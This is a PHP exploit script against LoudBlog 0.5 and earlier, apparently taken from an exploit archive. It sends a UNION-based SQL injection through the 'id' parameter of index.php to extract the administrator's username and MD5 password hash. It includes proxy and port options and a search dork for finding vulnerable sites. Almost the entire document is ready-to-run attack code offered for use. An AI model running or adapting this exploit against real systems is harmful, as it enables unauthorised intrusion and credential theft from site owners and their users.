LoudBlog <=0.5 Sql injection
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "LoudBlog <= 0.5 'id' SQL injection / admin credentials disclosure\r\n";
echo "by rgod rgod@xxxxxxxxxxxxx\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "a dork: \"Powered by LoudBlog\"\r\n\r\n";
/*
works regardless of magic_quotes_gpc settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to LoudBlog\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from 'lb_'\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /loudblog/ \r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="lb_";
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the
path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$zeros=array(",0,0,0,0", //<- this the one I tested, may change in other
versions
",0,0,0",
",0,0",
",0",
",0,0,0,0,0",
",0,0,0,0,0,0",
",0,0,0,0,0,0,0");
for ($i=0; $i<count($zeros); $i++)
{
$sql="'UNION/**/SELECT/**/0,0,CONCAT('*_u_*',nickname,'*_u_*'),'2005-03-29
16:32:42',0,0,0,0,0,0,CONCAT('*_p_*',password,'*_p_*'),0,0,0,0,0,0,0".$zeros[$i]."/**/FROM/**/".$prefix."authors/**/WHERE/**/id=1/*";
//debug
//echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."index.php?id=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("*_p_*",$html);
$hash=$temp[1];
if (is_hash($hash))
{
echo "-------------------------------------------------------\r\n";
echo "password (md5) -> ".$hash."\r\n";
$temp=explode("*_u_*",$html);
echo "admin -> ".$temp[1]."\r\n";
echo "-------------------------------------------------------\r\n";
die;
}
}
//if you are here...
echo "exploit failed...";
?>
#original url: http://retrogod.altervista.org/loudblog_05_sql.html